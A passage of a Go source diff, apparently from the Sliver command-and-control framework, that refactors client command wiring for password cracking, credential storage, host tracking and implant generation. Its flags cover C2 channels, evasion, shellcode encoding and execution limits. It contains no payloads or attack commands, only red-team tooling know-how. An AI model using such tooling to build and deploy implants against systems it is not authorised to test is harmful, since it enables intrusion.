The command to which the flags should be bound. // flags - A function exposing the flag set through which flags are declared. -func Flags(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) { +func Bind(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) { flagSet := pflag.NewFlagSet(name, pflag.ContinueOnError) // Create the flag set. flags(flagSet) // Let the user bind any number of flags to it. @@ -44,22 +46,21 @@ func Flags(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag } } -// FlagComps is a convenience function for adding completions to a command's flags. +// BindFlagCompletions is a convenience function for adding completions to a command's flags. // cmd - The command owning the flags to complete. // bind - A function exposing a map["flag-name"]carapace.Action. -func FlagComps(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) { +func BindFlagCompletions(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) { comps := make(carapace.ActionMap) bind(&comps) carapace.Gen(cmd).FlagCompletion(comps) } -// hideCommand generates a cobra annotation map with a single -// console.CommandHiddenFilter key, which value is a comma-separated list -// of filters to use in order to expose/hide commands based on requirements. -// Ex: cmd.Annotations = hideCommand("windows") will hide the cmd -// if the target session/beacon is not a Windows host. -func hideCommand(filters ...string) map[string]string { +// RestrictTargets generates a cobra annotation map with a single console.CommandHiddenFilter key +// to a comma-separated list of filters to use in order to expose/hide commands based on requirements. +// Ex: cmd.Annotations = RestrictTargets("windows") will only show the command if the target is Windows. +// Ex: cmd.Annotations = RestrictTargets("windows", "beacon") show the command if target is a beacon on Windows. +func RestrictTargets(filters ...string) map[string]string { if len(filters) == 0 { return nil } @@ -76,3 +77,56 @@ func hideCommand(filters ...string) map[string]string { console.CommandFilterKey: filts, } } + +// [ Core ] +// [ Sessions ] +// [ Execution ] +// [ Filesystem ] +// [ Info ] +// [ Network (C2)] +// [ Network tools ] +// [ Payloads ] +// [ Privileges ] +// [ Processes ] +// [ Aliases ] +// [ Extensions ] + +// Commands not to bind in CLI: +// - portforwarders +// - Socks (and wg-socks ?) +// - shell ? + +// Take care of: +// - double bind help command +// - double bind session commands +// - don't bind readline command in CLI. + +// bindCommands is a helper used to bind a list of root commands to a given menu, for a given "command help group". +// @group - Name of the group under which the command should be shown. Preferably use a string in the constants package. +// @menu - The command menu to which the commands should be bound (either server or implant menu). +// @ cmds - A list of functions returning a list of root commands to bind. See any package's `commands.go` file and function. +func bindCommands(group string, menu *cobra.Command, con *client.SliverConsoleClient, cmds ...func(con *client.SliverConsoleClient) []*cobra.Command) { + found := false + + // Ensure the given command group is available in the menu. + if group != "" { + for _, grp := range menu.Groups() { + if grp.Title == group { + found = true + break + } + } + + if !found { + menu.AddGroup(&cobra.Group{ + ID: group, + Title: group, + }) + } + } + + // Bind the command to the root + for _, command := range cmds { + menu.AddCommand(command(con)...) + } +} diff --git a/client/command/crack/commands.go b/client/command/crack/commands.go new file mode 100644 index 0000000000..44b0982c0c --- /dev/null +++ b/client/command/crack/commands.go @@ -0,0 +1,143 @@ +package crack + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + crackCmd := &cobra.Command{ + Use: consts.CrackStr, + Short: "Crack: GPU password cracking", + Long: help.GetHelpFor([]string{consts.CrackStr}), + GroupID: consts.GenericHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + CrackCmd(cmd, con, args) + }, + } + flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + crackStationsCmd := &cobra.Command{ + Use: consts.StationsStr, + Short: "Manage crackstations", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.StationsStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackStationsCmd(cmd, con, args) + }, + } + crackCmd.AddCommand(crackStationsCmd) + + wordlistsCmd := &cobra.Command{ + Use: consts.WordlistsStr, + Short: "Manage wordlists", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.WordlistsStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackWordlistsCmd(cmd, con, args) + }, + } + crackCmd.AddCommand(wordlistsCmd) + + wordlistsAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a wordlist", + Run: func(cmd *cobra.Command, args []string) { + CrackWordlistsAddCmd(cmd, con, args) + }, + } + flags.Bind("", false, wordlistsAddCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", "", "wordlist name (blank = filename)") + }) + carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file")) + wordlistsCmd.AddCommand(wordlistsAddCmd) + + wordlistsRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a wordlist", + Run: func(cmd *cobra.Command, args []string) { + CrackWordlistsRmCmd(cmd, con, args) + }, + } + wordlistsCmd.AddCommand(wordlistsRmCmd) + carapace.Gen(wordlistsRmCmd).PositionalCompletion(CrackWordlistCompleter(con).Usage("wordlist to remove")) + + rulesCmd := &cobra.Command{ + Use: consts.RulesStr, + Short: "Manage rule files", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackRulesCmd(cmd, con, args) + }, + } + crackCmd.AddCommand(rulesCmd) + + rulesAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a rules file", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.AddStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackRulesAddCmd(cmd, con, args) + }, + } + flags.Bind("", false, rulesAddCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", "", "rules name (blank = filename)") + }) + carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file")) + rulesCmd.AddCommand(rulesAddCmd) + + rulesRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove rules", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackRulesRmCmd(cmd, con, args) + }, + } + carapace.Gen(rulesRmCmd).PositionalCompletion(CrackRulesCompleter(con).Usage("rules to remove")) + rulesCmd.AddCommand(rulesRmCmd) + + hcstat2Cmd := &cobra.Command{ + Use: consts.Hcstat2Str, + Short: "Manage markov hcstat2 files", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str}), + Run: func(cmd *cobra.Command, args []string) { + CrackHcstat2Cmd(cmd, con, args) + }, + } + crackCmd.AddCommand(hcstat2Cmd) + + hcstat2AddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a hcstat2 file", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.AddStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackHcstat2AddCmd(cmd, con, args) + }, + } + flags.Bind("", false, hcstat2AddCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", "", "hcstat2 name (blank = filename)") + }) + carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file")) + hcstat2Cmd.AddCommand(hcstat2AddCmd) + + hcstat2RmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove hcstat2 file", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackHcstat2RmCmd(cmd, con, args) + }, + } + carapace.Gen(hcstat2RmCmd).PositionalCompletion(CrackHcstat2Completer(con).Usage("hcstat2 to remove")) + hcstat2Cmd.AddCommand(hcstat2RmCmd) + + return []*cobra.Command{crackCmd} +} diff --git a/client/command/creds/commands.go b/client/command/creds/commands.go new file mode 100644 index 0000000000..4ec0bfec49 --- /dev/null +++ b/client/command/creds/commands.go @@ -0,0 +1,83 @@ +package creds + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + credsCmd := &cobra.Command{ + Use: consts.CredsStr, + Short: "Manage the database of credentials", + Long: help.GetHelpFor([]string{consts.CredsStr}), + GroupID: consts.GenericHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + CredsCmd(cmd, con, args) + }, + } + flags.Bind("creds", true, credsCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + credsAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a credential to the database", + Long: help.GetHelpFor([]string{consts.CredsStr, consts.AddStr}), + Run: func(cmd *cobra.Command, args []string) { + CredsAddCmd(cmd, con, args) + }, + } + flags.Bind("", false, credsAddCmd, func(f *pflag.FlagSet) { + f.StringP("collection", "c", "", "name of collection") + f.StringP("username", "u", "", "username for the credential") + f.StringP("plaintext", "p", "", "plaintext for the credential") + f.StringP("hash", "P", "", "hash of the credential") + f.StringP("hash-type", "H", "", "hash type of the credential") + }) + flags.BindFlagCompletions(credsAddCmd, func(comp *carapace.ActionMap) { + (*comp)["hash-type"] = CredsHashTypeCompleter(con) + }) + credsCmd.AddCommand(credsAddCmd) + + credsAddFileCmd := &cobra.Command{ + Use: consts.FileStr, + Short: "Add a credential to the database", + Long: help.GetHelpFor([]string{consts.CredsStr, consts.AddStr, consts.FileStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + CredsAddHashFileCmd(cmd, con, args) + }, + } + flags.Bind("", false, credsAddFileCmd, func(f *pflag.FlagSet) { + f.StringP("collection", "c", "", "name of collection") + f.StringP("file-format", "F", HashNewlineFormat, "file format of the credential file") + f.StringP("hash-type", "H", "", "hash type of the credential") + }) + flags.BindFlagCompletions(credsAddFileCmd, func(comp *carapace.ActionMap) { + (*comp)["collection"] = CredsCollectionCompleter(con) + (*comp)["file-format"] = CredsHashFileFormatCompleter(con) + (*comp)["hash-type"] = CredsHashTypeCompleter(con) + }) + carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file")) + credsAddCmd.AddCommand(credsAddFileCmd) + + credsRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a credential to the database", + Long: help.GetHelpFor([]string{consts.CredsStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + CredsRmCmd(cmd, con, args) + }, + } + carapace.Gen(credsRmCmd).PositionalCompletion(CredsCredentialIDCompleter(con).Usage("id of credential to remove (leave empty to select)")) + credsCmd.AddCommand(credsRmCmd) + + return []*cobra.Command{credsCmd} +} diff --git a/client/command/exit/commands.go b/client/command/exit/commands.go new file mode 100644 index 0000000000..75b67ea3a6 --- /dev/null +++ b/client/command/exit/commands.go @@ -0,0 +1,17 @@ +package exit + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + return nil +} diff --git a/client/command/exit/exit.go b/client/command/exit/exit.go index 951a25c4cb..ba0f1ee79b 100644 --- a/client/command/exit/exit.go +++ b/client/command/exit/exit.go @@ -56,13 +56,13 @@ func ExitCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string } // Commands returns the `exit` command. -func Command(con *console.SliverConsoleClient) *cobra.Command { - return &cobra.Command{ +func Command(con *console.SliverConsoleClient) []*cobra.Command { + return []*cobra.Command{{ Use: "exit", Short: "Exit the program", Run: func(cmd *cobra.Command, args []string) { ExitCmd(cmd, con, args) }, GroupID: constants.GenericHelpGroup, - } + }} } diff --git a/client/command/generate/commands.go b/client/command/generate/commands.go new file mode 100644 index 0000000000..c30db8c28e --- /dev/null +++ b/client/command/generate/commands.go @@ -0,0 +1,352 @@ +package generate + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + // [ Generate ] -------------------------------------------------------------- + generateCmd := &cobra.Command{ + Use: consts.GenerateStr, + Short: "Generate an implant binary", + Long: help.GetHelpFor([]string{consts.GenerateStr}), + Run: func(cmd *cobra.Command, args []string) { + GenerateCmd(cmd, con, args) + }, + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("generate", true, generateCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + // Session flags and completions. + coreImplantFlags("session", generateCmd) + compileImplantFlags("session", generateCmd) + coreImplantFlagCompletions(generateCmd, con) + + generateBeaconCmd := &cobra.Command{ + Use: consts.BeaconStr, + Short: "Generate a beacon binary", + Long: help.GetHelpFor([]string{consts.GenerateStr, consts.BeaconStr}), + Run: func(cmd *cobra.Command, args []string) { + GenerateBeaconCmd(cmd, con, args) + }, + } + + // Beacon flags and completions. + coreImplantFlags("beacon", generateBeaconCmd) + compileImplantFlags("beacon", generateBeaconCmd) + coreImplantFlagCompletions(generateBeaconCmd, con) + + generateCmd.AddCommand(generateBeaconCmd) + + generateStagerCmd := &cobra.Command{ + Use: consts.MsfStagerStr, + Short: "Generate a stager using Metasploit (requires local Metasploit installation)", + Long: help.GetHelpFor([]string{consts.MsfStagerStr}), + Run: func(cmd *cobra.Command, args []string) { + GenerateStagerCmd(cmd, con, args) + }, + } + flags.Bind("stager", false, generateStagerCmd, func(f *pflag.FlagSet) { + f.StringP("os", "o", "windows", "operating system") + f.StringP("arch", "a", "amd64", "cpu architecture") + f.StringP("lhost", "L", "", "Listening host") + f.Uint32P("lport", "l", 8443, "Listening port") + f.StringP("protocol", "r", "tcp", "Staging protocol (tcp/http/https)") + f.StringP("format", "f", "raw", "Output format (msfvenom formats, see help generate msf-stager for the list)") + f.StringP("badchars", "b", "", "bytes to exclude from stage shellcode") + f.StringP("save", "s", "", "directory to save the generated stager to") + f.StringP("advanced", "d", "", "Advanced options for the stager using URI query syntax (option1=value1&option2=value2...)") + }) + generateCmd.AddCommand(generateStagerCmd) + + generateInfoCmd := &cobra.Command{ + Use: consts.CompilerInfoStr, + Short: "Get information about the server's compiler", + Long: help.GetHelpFor([]string{consts.CompilerInfoStr}), + Run: func(cmd *cobra.Command, args []string) { + GenerateInfoCmd(cmd, con, args) + }, + } + generateCmd.AddCommand(generateInfoCmd) + + // Traffic Encoder SubCommands + trafficEncodersCmd := &cobra.Command{ + Use: consts.TrafficEncodersStr, + Short: "Manage implant traffic encoders", + Long: help.GetHelpFor([]string{consts.GenerateStr, consts.TrafficEncodersStr}), + Run: func(cmd *cobra.Command, args []string) { + TrafficEncodersCmd(cmd, con, args) + }, + } + generateCmd.AddCommand(trafficEncodersCmd) + + trafficEncodersAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a new traffic encoder to the server from the local file system", + Long: help.GetHelpFor([]string{consts.GenerateStr, consts.TrafficEncodersStr, consts.AddStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + TrafficEncodersAddCmd(cmd, con, args) + }, + } + flags.Bind("", false, trafficEncodersAddCmd, func(f *pflag.FlagSet) { + f.BoolP("skip-tests", "s", false, "skip testing the traffic encoder (not recommended)") + }) + carapace.Gen(trafficEncodersAddCmd).PositionalCompletion(carapace.ActionFiles("wasm").Tag("wasm files").Usage("local file path (expects .wasm)")) + trafficEncodersCmd.AddCommand(trafficEncodersAddCmd) + + trafficEncodersRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a traffic encoder from the server", + Long: help.GetHelpFor([]string{consts.GenerateStr, consts.TrafficEncodersStr, consts.RmStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + TrafficEncodersRemoveCmd(cmd, con, args) + }, + } + carapace.Gen(trafficEncodersRmCmd).PositionalCompletion(TrafficEncodersCompleter(con).Usage("traffic encoder to remove")) + trafficEncodersCmd.AddCommand(trafficEncodersRmCmd) + + // [ Regenerate ] -------------------------------------------------------------- + + regenerateCmd := &cobra.Command{ + Use: consts.RegenerateStr, + Short: "Regenerate an implant", + Long: help.GetHelpFor([]string{consts.RegenerateStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RegenerateCmd(cmd, con, args) + }, + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("regenerate", false, regenerateCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "directory/file to the binary to") + }) + flags.BindFlagCompletions(regenerateCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") + }) + carapace.Gen(regenerateCmd).PositionalCompletion(ImplantBuildNameCompleter(con)) + + // [ Profiles ] -------------------------------------------------------------- + + profilesCmd := &cobra.Command{ + Use: consts.ProfilesStr, + Short: "List existing profiles", + Long: help.GetHelpFor([]string{consts.ProfilesStr}), + Run: func(cmd *cobra.Command, args []string) { + ProfilesCmd(cmd, con, args) + }, + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("profiles", true, profilesCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + profilesGenerateCmd := &cobra.Command{ + Use: consts.GenerateStr, + Short: "Generate implant from a profile", + Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ProfilesGenerateCmd(cmd, con, args) + }, + } + flags.Bind("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "directory/file to the binary to") + f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") + }) + flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") + }) + carapace.Gen(profilesGenerateCmd).PositionalCompletion(ProfileNameCompleter(con)) + profilesCmd.AddCommand(profilesGenerateCmd) + + profilesNewCmd := &cobra.Command{ + Use: consts.NewStr, + Short: "Create a new implant profile (interactive session)", + Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr}), + Run: func(cmd *cobra.Command, args []string) { + ProfilesNewCmd(cmd, con, args) + }, + } + profilesCmd.AddCommand(profilesNewCmd) + + // Session flags and completions. + coreImplantFlags("session", profilesNewCmd) + compileImplantFlags("session", profilesNewCmd) + coreImplantFlagCompletions(profilesNewCmd, con) + + profilesNewBeaconCmd := &cobra.Command{ + Use: consts.BeaconStr, + Short: "Create a new implant profile (beacon)", + Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr, consts.BeaconStr}), + Run: func(cmd *cobra.Command, args []string) { + ProfilesNewBeaconCmd(cmd, con, args) + }, + } + profilesNewCmd.AddCommand(profilesNewBeaconCmd) + + // Beacon flags and completions. + coreImplantFlags("beacon", profilesNewBeaconCmd) + compileImplantFlags("beacon", profilesNewBeaconCmd) + coreImplantFlagCompletions(profilesNewBeaconCmd, con) + + profilesRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a profile", + Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.RmStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ProfilesRmCmd(cmd, con, args) + }, + } + carapace.Gen(profilesRmCmd).PositionalCompletion(ProfileNameCompleter(con)) + profilesCmd.AddCommand(profilesRmCmd) + + // [ Implants ] -------------------------------------------------------------- + + implantBuildsCmd := &cobra.Command{ + Use: consts.ImplantBuildsStr, + Short: "List implant builds", + Long: help.GetHelpFor([]string{consts.ImplantBuildsStr}), + Run: func(cmd *cobra.Command, args []string) { + ImplantsCmd(cmd, con, args) + }, + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("implants", true, implantBuildsCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("implants", false, implantBuildsCmd, func(f *pflag.FlagSet) { + f.StringP("os", "o", "", "filter builds by operating system") + f.StringP("arch", "a", "", "filter builds by cpu architecture") + f.StringP("format", "f", "", "filter builds by artifact format") + f.BoolP("only-sessions", "s", false, "filter interactive sessions") + f.BoolP("only-beacons", "b", false, "filter beacons") + f.BoolP("no-debug", "d", false, "filter builds by debug flag") + }) + flags.BindFlagCompletions(implantBuildsCmd, func(comp *carapace.ActionMap) { + (*comp)["os"] = OSCompleter(con) + (*comp)["arch"] = ArchCompleter(con) + (*comp)["format"] = FormatCompleter() + }) + + implantsRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove implant build", + Long: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.RmStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ImplantsRmCmd(cmd, con, args) + }, + } + carapace.Gen(implantsRmCmd).PositionalCompletion(ImplantBuildNameCompleter(con)) + implantBuildsCmd.AddCommand(implantsRmCmd) + + canariesCmd := &cobra.Command{ + Use: consts.CanariesStr, + Short: "List previously generated canaries", + Long: help.GetHelpFor([]string{consts.CanariesStr}), + Run: func(cmd *cobra.Command, args []string) { + CanariesCmd(cmd, con, args) + }, + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("canaries", false, canariesCmd, func(f *pflag.FlagSet) { + f.BoolP("burned", "b", false, "show only triggered/burned canaries") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{generateCmd, regenerateCmd, profilesCmd, implantBuildsCmd} +} + +// coreImplantFlags binds all flags common to all sliver implant types. +// This is used by all sliver compilation and profiles generation commands. +func coreImplantFlags(name string, cmd *cobra.Command) { + flags.Bind(name, false, cmd, func(f *pflag.FlagSet) { + // Core compile + f.StringP("os", "o", "windows", "operating system") + f.StringP("arch", "a", "amd64", "cpu architecture") + f.StringP("name", "N", "", "agent name") // + f.BoolP("debug", "d", false, "enable debug features") + f.StringP("debug-file", "O", "", "path to debug output") + f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)") + f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation") + f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") + + f.StringP("canary", "c", "", "canary domain(s)") + + // C2 channels + f.StringP("mtls", "m", "", "mtls connection strings") + f.StringP("wg", "g", "", "wg connection strings") + f.StringP("http", "b", "", "http(s) connection strings") + f.StringP("dns", "n", "", "dns connection strings") + f.StringP("named-pipe", "p", "", "named-pipe connection strings") + f.StringP("tcp-pivot", "i", "", "tcp-pivot connection strings") + + f.Uint32P("key-exchange", "X", DefaultWGKeyExPort, "wg key-exchange port") + f.Uint32P("tcp-comms", "T", DefaultWGNPort, "wg c2 comms port") + + f.BoolP("run-at-load", "R", false, "run the implant entrypoint from DllMain/Constructor (shared library only)") + f.BoolP("netgo", "q", false, "force the use of netgo") + f.StringP("traffic-encoders", "A", "", "comma separated list of traffic encoders to enable") + + f.StringP("strategy", "Z", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)") + f.Int64P("reconnect", "j", DefaultReconnect, "attempt to reconnect every n second(s)") + f.Int64P("poll-timeout", "P", DefaultPollTimeout, "long poll request timeout") + f.Uint32P("max-errors", "k", DefaultMaxErrors, "max number of connection errors") + + // Limits + f.StringP("limit-datetime", "w", "", "limit execution to before datetime") + f.BoolP("limit-domainjoined", "x", false, "limit execution to domain joined machines") + f.StringP("limit-username", "y", "", "limit execution to specified username") + f.StringP("limit-hostname", "z", "", "limit execution to specified hostname") + f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem") + f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale") + + f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)") + }) +} + +// coreImplantFlagCompletions binds completions to flags registered in coreImplantFlags. +func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverConsoleClient) { + flags.BindFlagCompletions(cmd, func(comp *carapace.ActionMap) { + (*comp)["debug-file"] = carapace.ActionFiles() + (*comp)["os"] = OSCompleter(con) + (*comp)["arch"] = ArchCompleter(con) + (*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy") + (*comp)["format"] = FormatCompleter() + (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") + }) +} + +// coreBeaconFlags binds all flags specific to beacon implants (profiles or compiled). +func coreBeaconFlags(name string, cmd *cobra.Command) { + flags.Bind(name, false, cmd, func(f *pflag.FlagSet) { + f.Int64P("days", "D", 0, "beacon interval days") + f.Int64P("hours", "H", 0, "beacon interval hours") + f.Int64P("minutes", "M", 0, "beacon interval minutes") + f.Int64P("seconds", "S", 60, "beacon interval seconds") + f.Int64P("jitter", "J", 30, "beacon interval jitter in seconds") + }) +} + +// compileImplantFlags binds all flags used when actually compiling an implant (not when creating a profile). +func compileImplantFlags(name string, cmd *cobra.Command) { + flags.Bind(name, false, cmd, func(f *pflag.FlagSet) { + f.StringP("name", "N", "", "agent name") + f.StringP("template", "I", "sliver", "implant code template") + f.BoolP("external-builder", "E", false, "use an external builder") + f.StringP("save", "s", "", "directory/file to the binary to") + }) +} diff --git a/client/command/hosts/commands.go b/client/command/hosts/commands.go new file mode 100644 index 0000000000..ca6573d325 --- /dev/null +++ b/client/command/hosts/commands.go @@ -0,0 +1,59 @@ +package hosts + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + hostsCmd := &cobra.Command{ + Use: consts.HostsStr, + Short: "Manage the database of hosts", + Long: help.GetHelpFor([]string{consts.HostsStr}), + Run: func(cmd *cobra.Command, args []string) { + HostsCmd(cmd, con, args) + }, + GroupID: consts.SliverHelpGroup, + } + flags.Bind("hosts", true, hostsCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + hostsRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a host from the database", + Long: help.GetHelpFor([]string{consts.HostsStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + HostsRmCmd(cmd, con, args) + }, + } + hostsCmd.AddCommand(hostsRmCmd) + + hostsIOCCmd := &cobra.Command{ + Use: consts.IOCStr, + Short: "Manage tracked IOCs on a given host", + Long: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr}), + Run: func(cmd *cobra.Command, args []string) { + HostsIOCCmd(cmd, con, args) + }, + } + hostsCmd.AddCommand(hostsIOCCmd) + + hostsIOCRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Delete IOCs from the database", + Long: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + HostsIOCRmCmd(cmd, con, args) + }, + } + hostsIOCCmd.AddCommand(hostsIOCRmCmd) + + return []*cobra.Command{hostsCmd, hostsIOCCmd} +} diff --git a/client/command/info/commands.go b/client/command/info/commands.go new file mode 100644 index 0000000000..90472999d3 --- /dev/null +++ b/client/command/info/commands.go @@ -0,0 +1,32 @@ +package info + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/command/use" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + infoCmd := &cobra.Command{ + Use: consts.InfoStr, + Short: "Get info about session", + Long: help.GetHelpFor([]string{consts.InfoStr}), + Run: func(cmd *cobra.Command, args []string) { + InfoCmd(cmd, con, args) + }, + GroupID: consts.SliverHelpGroup, + } + flags.Bind("use", false, infoCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(infoCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con)) + + return []*cobra.Command{infoCmd} +} diff --git a/client/command/licenses/commands.go b/client/command/licenses/commands.go new file mode 100644 index 0000000000..d0a9b18396 --- /dev/null +++ b/client/command/licenses/commands.go @@ -0,0 +1,25 @@ +package licenses + +import ( + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/client/licenses" +) + +// Commands returns the `licences` command. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + licensesCmd := &cobra.Command{ + Use: consts.LicensesStr, + Short: "Open source licenses", + Long: help.GetHelpFor([]string{consts.LicensesStr}), + Run: 